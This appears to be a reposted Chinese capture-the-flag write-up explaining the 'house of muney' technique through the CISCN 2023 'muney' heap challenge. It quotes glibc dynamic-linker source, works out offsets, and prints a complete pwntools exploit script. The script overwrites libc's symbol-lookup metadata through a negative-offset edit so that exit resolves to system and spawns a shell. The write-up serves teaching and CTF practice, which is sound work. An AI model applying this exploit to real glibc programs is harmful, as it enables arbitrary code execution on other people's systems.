house_of_muney

news2024/11/28 7:31:25

house_of_muney 

首先介绍一下house of muney 这个利用原理:

在了解过_dl_runtime_resolve的前提下,当程序保护开了延迟绑定的时候,程序第一次调用相关函数的时候会执行下面的命令

push n
push ModuleID
jmp _dl_runtime_resolve

这里的n对应的是这个符号在rel.plt重定位表中的下标然后第二个MoudleID则一般是本程序的link_map结构体的地址,解析来就进入到了_dl_runtime_resolve函数 

我们来看看这个函数做了什么

/* This function is called through a special trampoline from the PLT the first time each PLT entry is called.  We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to the
   function.  */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

可以看见又继续调用_dl_lookup_symbol_x这个函数 ,它会开始在link_map寻找符号,实际上调用了do_lookup_x

* Inner part of the lookup functions.  We return a value > 0 if we
   found the symbol, the value 0 if nothing is found and < 0 if
   something bad happened.  */
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
	     unsigned long int *old_hash, const ElfW(Sym) *ref,
	     struct sym_val *result, struct r_scope_elem *scope, size_t i,
	     const struct r_found_version *const version, int flags,
	     struct link_map *skip, int type_class, struct link_map *undef_map)
{
  size_t n = scope->r_nlist;
  /* Make sure we read the value before proceeding.  Otherwise we
     might use r_list pointing to the initial scope and r_nlist being
     the value after a resize.  That is the only path in dl-open.c not
     protected by GSCOPE.  A read barrier here might be to expensive.  */
  __asm volatile ("" : "+r" (n), "+m" (scope->r_list));
  struct link_map **list = scope->r_list;

  do
    {
      const struct link_map *map = list[i]->l_real;

      /* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */
      if (map == skip)
	continue;

      /* Don't search the executable when resolving a copy reloc.  */
      if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
	continue;

      /* Do not look into objects which are going to be removed.  */
      if (map->l_removed)
	continue;

      /* Print some debugging info if wanted.  */
      if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
	_dl_debug_printf ("symbol=%s;  lookup in file=%s [%lu]\n",
			  undef_name, DSO_FILENAME (map->l_name),
			  map->l_ns);

      /* If the hash table is empty there is nothing to do here.  */
      if (map->l_nbuckets == 0)
	continue;

      Elf_Symndx symidx;
      int num_versions = 0;
      const ElfW(Sym) *versioned_sym = NULL;

      /* The tables for this map.  */
      // 找到符号表和字符串表(当前link_map)
      const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

      const ElfW(Sym) *sym;
      // 获取bitmask
      const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
      if (__glibc_likely (bitmask != NULL))
	{
      // 获取bitmask_word,这里需要伪造
	  ElfW(Addr) bitmask_word
	    = bitmask[(new_hash / __ELF_NATIVE_CLASS)
		      & map->l_gnu_bitmask_idxbits];

	  unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
	  unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
				   & (__ELF_NATIVE_CLASS - 1));

	  if (__glibc_unlikely ((bitmask_word >> hashbit1)
				& (bitmask_word >> hashbit2) & 1))
	    {
          // 获取bucket,这里需要伪造
	      Elf32_Word bucket = map->l_gnu_buckets[new_hash
						     % map->l_nbuckets];
	      if (bucket != 0)
		{
          // hasharr,这里也需要伪造对应的值
		  const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

		  do
		    if (((*hasharr ^ new_hash) >> 1) == 0)
		      {
			symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
			sym = check_match (undef_name, ref, version, flags,
					   type_class, &symtab[symidx], symidx,
					   strtab, map, &versioned_sym,
					   &num_versions);
			if (sym != NULL)
			  goto found_it;
		      }
		  while ((*hasharr++ & 1u) == 0);
		}
	    }
          //....
  }

这里是roderick师傅做了注释之后的代码,上面标注了我们需要伪造的值

  1. bitmask_word
  2. bucket
  3. hasharr

还有两个比较重要的值就是set_name 和set_value,前半部分是通过查找该函数符号和strtab之间的偏移得到的,不同的程序得到的不同,而set_vaule是通过相应的libc环境编译而来的的对于需求函数,这里也是通过调试获得,简而言之,如果控制了set_name 就可以正确解析到相应的函数名,控制了set_vaule就可以控制调用函数解析到需求函数的地址进而调用需求函数。

在2023年的CISCN有一道题目

muney

保护策略

ida逆向分析

是一个堆题,前提是需要实验http格式发送相应选项,让web手给说个形式

比如使用

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

来定义edit函数,其余的以此类推

这题的漏洞主要在edit函数,只限制不能超过申请堆块大小,但是没有限制长度为负数,也是就可以修改到低地址处的内容,比如可以修改堆块size

此外这题的malloc函数给的范围在0xFFFFF以上及申请0x100000大小的堆块以上,那么意味着申请的堆块由mmp直接分配,那么会在libc上面mmp出一块内存

给的后门是exit(/bin/sh)

如果给exit解析成system即可拿到shell

这里就需要伪造libc里面的一系列上面提到的内容

这里给出调试脚本

from gt import *
con("amd64")

p = process("./muney")
#p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload
gdb.attach(p)
p.sendafter("HTTP_Parser> ",quit())
p.interactive()

这里需要源码级的调试,在事先导入源码目录

push n ...... 进入 _dl_runtime_resolve

继续步入进入_dl_fixup

在这里先空走一轮while循环,因为这里看的是第二次解析的地址

这里看一下bitmask_word 的内容

继续往后走,这里看一下bucket 的内容

然后看一下hasharr的内容

因为环境是20.04环境,我这里使用20.04虚拟机来找偏移

这里0x46a40是exit的set_vuale set_name需要找一下strtab和exit字符串的偏移

这里需要尝试,找到哪一个才是真正的偏移。然后需要找一下同环境下的system的set_vuale

写一个程序验证一下

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
char *buff;
read(0,buff,0x20);
system("/bin/sh");
return 0;
}

需要开启延迟绑定,然后关闭pie保护

找到发现是0x52290

那么现在该有的都有,只需要找一下偏移即可

这里要注意,实际的偏移和输入的偏移相差0x1000,因为在起始地址时候减少了0x1000

所以这里要输入0x152b78,以此类推

EXP

from gt import *
con("amd64")

#p = process("./muney")
p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload

p.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
#gdb.attach(p)

p.sendafter("HTTP_Parser> ",delete(0))

p.sendafter("HTTP_Parser> ",create(0x171002,16,'b'*16))


p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c93f2a0)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x8,3,b"\x90\x22\x05"))#write data to exit@st_value

p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10,3,b"\xbd\xa1\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+6,1,b"\x0f"))#write data to exit@st_name


p.sendafter("HTTP_Parser> ",quit())
p.interactive()

这里面有几个点需要注意,第一个是bitmask_word的内容做了一点改变,用看见的内容不行,用这个也许0xaaa101010210130e也就是后4位需要注意。

还有一个就是set_name这个后面4位是需要调试出来的,第四位和第六位程序里面里面得到

result

参考

https://www.cnblogs.com/LynneHuan/p/17822130.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2201277.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OCR+PDF解析配套前端工具开源详解!

目录 一、项目简介 TextIn为相关领域的前端开发提供了优秀的范本。 目前项目已在Github上开源&#xff01; 二、性能特色 三、安装使用 安装依赖启动项目脚本命令项目结构 四、效果展示 面对日常生活和工作中常见的OCR识别、PDF解析、翻译、校对等场景&#xff0c;配套的…

洛谷P5648

洛谷P5648 这题花了很长时间&#xff0c;是在线段树题单里找到的&#xff08; &#xff09;。有线段树做法&#xff0c;但是我感觉可能比倍增做法更难看懂。以后有空再看看吧。感觉线段树现在只会板子题&#xff0c;绿稍微难点可能就不会。 花了很久时间之后&#xff0c;就觉得…

打造直播美颜平台的关键技术:视频美颜SDK的深度解析

本篇文章&#xff0c;小编将深入解析视频美颜SDK的关键技术&#xff0c;探讨其在打造直播美颜平台中的作用。 一、视频美颜SDK的定义与功能 视频美颜SDK是一套专门为实时视频处理而设计的软件开发工具包。其主要功能包括人脸检测、肤色美化、瑕疵修复、虚化背景、实时滤镜等。…

Python对PDF文件的合并操作

在处理 PDF 文件时&#xff0c;合并多个 PDF 文件为一个单一文件或者将某个单一文件插入某个PDF文件是一个常见的需求。Python 提供了多种库来实现这一功能&#xff0c;其中 PyPDF2 是一个非常流行的选择。该库提供了简单易用的接口&#xff0c;包括 merge() 方法&#xff0c;可…

CRE6281B1 (宽VCC:8-45V PWM电源芯片)

CRE6281B1 是一款外驱功率管的高度集成的电流型PWM 控制 IC&#xff0c;为高性能、低待机功率、低成本、高效率的隔离型反激式开关电源控制器。在满载时&#xff0c;CRE6281B1工作在固定频率(65kHz)模式。在负载较低时&#xff0c;采用节能模式&#xff0c;实现较高的功率转换效…

关于Allegro导出Gerber时的槽孔问题

注意点一&#xff1a; 如果设计的板子中有 槽孔和通孔(俗称圆孔)&#xff0c;不仅要NC Drill, 还要 NC Route allegro导出的槽孔文件后缀是 .rou 圆型孔后缀 是 .drl &#xff0c;出gerber时需要看下是否有该文件。 注意点二&#xff1a; 导出钻孔文件时&#xff0c;设置参…

Hi3061M开发板——系统时钟频率

这里写目录标题 前言MCU时钟介绍PLLCRG_ConfigPLL时钟配置另附完整系统时钟结构图 前言 Hi3061M使用过程中&#xff0c;AD和APT输出&#xff0c;都需要考虑到时钟频率&#xff0c;特别是APT&#xff0c;关系到PWM的输出频率。于是就研究了下相关的时钟。 MCU时钟介绍 MCU共有…

22.1 K8S之KubeSphere实现中间件高可用集群

22.1 K8S之KubeSphere实现中间件高可用集群 一. 章节概述二. WordPress1. WordPress 简介---------------------------------------------------------------------------------------------------一. 章节概述 二. WordPress 1. WordPress 简介 创建并部署 WordPress

MySQL 数据库的性能优化方法方法有哪些?

MySQL 数据库的性能优化方法方法有哪些&#xff1f; 从开发角度来看&#xff0c;一般可以从 SQL 和库表设计两部分优化性能。 SQL 优化 根据慢sql日志&#xff0c;找出需要优化的一些sql语句。 常见优化方向&#xff1a; 避免select *&#xff0c;只查询必要的字段&#x…

62 加密算法

62 加密算法 三种加密算法分类&#xff1a; 对称加密&#xff1a;密钥只有一个&#xff0c;解密、解密都是这个密码&#xff0c;加解密速度快&#xff0c;典型的对称加密有DES、AES、RC4等非对称加密&#xff1a;密钥成对出现&#xff0c;分别为公钥和私钥&#xff0c;从公钥…

sass学习笔记(1.0)

1.使用变量 sass可以像声明变量那样进行使用&#xff0c;这样同样的样式&#xff0c;就可以使用相同的变量来提高复用。 语法为&#xff1a;$ 变量名 在界面中也可以正常的显示 当然了&#xff0c;变量之间也可以相互引用&#xff0c;比如下面 div{$_color: #d45387;$BgColo…

kibana 删除es指定数据,不是删除索引

1 查询条件查询出满足条件的数据 GET /order_header_idx_202410/_search {"from":0,"size":10,"query":{"bool":{"filter":[{"term":{"oh_tenantId":{"value":"0211000001",&…

NeuVector部署、使用与原理分析

文章目录 前言1、概述2、安装与使用2.1、安装方法2.1.1、部署NeuVector前的准备工作2.1.1.1 扩容系统交换空间2.1.1.2 Kubernetes单机部署2.1.1.2.1 部署Docker2.1.1.2.2 部署Kubectl2.1.1.2.3 部署Minikube 2.1.1.3 Helm部署 2.1.2、使用Helm部署NeuVector 2.2、使用方法2.2.1…

YOLOv5改进——添加SimAM注意力机制

目录 一、SimAM注意力机制核心代码 二、修改common.py 三、修改yolo.py ​三、建立yaml文件 四、验证 一、SimAM注意力机制核心代码 在models文件夹下新建modules文件夹&#xff0c;在modules文件夹下新建一个py文件。这里为simam.py。复制以下代码到文件里面。 import…

Mysql中创建用户并设置任何主机连接

Mysql中创建用户并设置任何主机连接 文章目录 Mysql中创建用户并设置任何主机连接背景解决方式 背景 在linux上安装mysql,默认用户是root,但是用navicat连接不了,必须要用ssh隧道连接,现在想用任何主机只要输入账号密码之后就可以连接 解决方式 #创建一个指定用户和IP链接的用…

Java:数据结构-ArrayList和顺序表(2)

一 ArrayList的使用 1.ArrayList的构造方法 第一种&#xff08;指定容量的构造方法&#xff09; 创建一个空的ArrayList&#xff0c;指定容量为initialCapacity。 public ArrayList(int initialCapacity) {if (initialCapacity > 0) {this.elementData new Object[init…

鸿蒙微内核IPC数据结构

鸿蒙内核IPC数据结构 内核为任务之间的通信提供了多种机制&#xff0c;包含队列、事件、互斥锁、信号量等&#xff0c;其中还有Futex(用户态快速锁)&#xff0c;rwLock(读写锁)&#xff0c;signal(信号)。 队列 队列又称为消息队列&#xff0c;是一种常用于任务间通信的数据…

《ASP.NET Web Forms 实现短视频点赞功能的完整示例》

在现代Web开发中&#xff0c;实现一个动态的点赞功能是非常常见的需求。本文将详细介绍如何在ASP.NET Web Forms中实现一个视频点赞功能&#xff0c;包括前端页面的展示和后端的处理逻辑。我们将确保点赞数量能够实时更新&#xff0c;而无需刷新整个页面。 技术栈 ASP.NET We…

Java进阶之路—单元测试Juint(完整详解Juint使用以及Juin注解,附有代码+案例)

文章目录 单元测试Juint35.1 概述35.2 用法手动导包正确的使用方式 35.3 Junit常用注解 单元测试Juint 35.1 概述 针对最小功能单元编写测试代码&#xff0c;Java中最小功能单元是方法&#xff0c;因此单元测试就是针对Java方法的测试。 对部分代码进行测试。 35.2 用法 &…

【含开题报告+文档+PPT+源码】基于SpringBoot+Vue的新能源停车场管理系统

开题报告 随着新能源汽车的快速普及和普及&#xff0c;新能源车辆的停车和充电需求也越来越大。传统的停车场管理系统无法满足这些新能源车辆的特殊需求&#xff0c;如充电桩分配、充电桩使用情况的实时监测等。因此&#xff0c;开发一种基于 Java 的新能源停车场管理系统成为…